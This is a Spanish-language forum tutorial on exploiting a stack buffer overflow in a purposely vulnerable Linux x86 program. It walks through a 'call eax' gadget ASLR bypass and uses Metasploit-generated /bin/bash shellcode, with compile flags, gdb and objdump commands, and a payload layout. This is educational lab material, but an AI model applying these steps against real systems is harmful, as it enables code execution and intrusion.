Desbordando el buffer en linux x86 (III) [ASLR bypass]

Iniciado por q3rv0, Septiembre 29, 2014, 02:47:09 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 29, 2014, 02:47:09 PM Ultima modificación: Septiembre 29, 2014, 08:26:08 PM por [Q]3rV[0]


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: c
#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char* input)
{
    char buffer[1000];
    strcpy(buffer, input);
}
int main(int argc, char** argv)
{
    funcion_vulnerable(argv[1]);
    return 0;
}

Verificamos que ASLR se encuentra activo.

Código: bash
cat /proc/sys/kernel/randomize_va_space
2

De otra manera lo activaremos.

Código: bash
echo 2 > /proc/sys/kernel/randomize_va_space


Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: bash

gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c


Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: bash
r $(python -c 'print "\x41"*1004+"\x42"*4')




Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: bash
objdump -d vuln|grep call






Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: bash
x/100x $eax




Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash C




El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c




Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Perdona la consulta pero la distancia entre EIP y EAX es siempre la misma o la sacas por el mismo medio que sacas la direccion de EIP en relacion al stack?
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Igm: /secureart
Telegram: @roaddhdc
Correo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta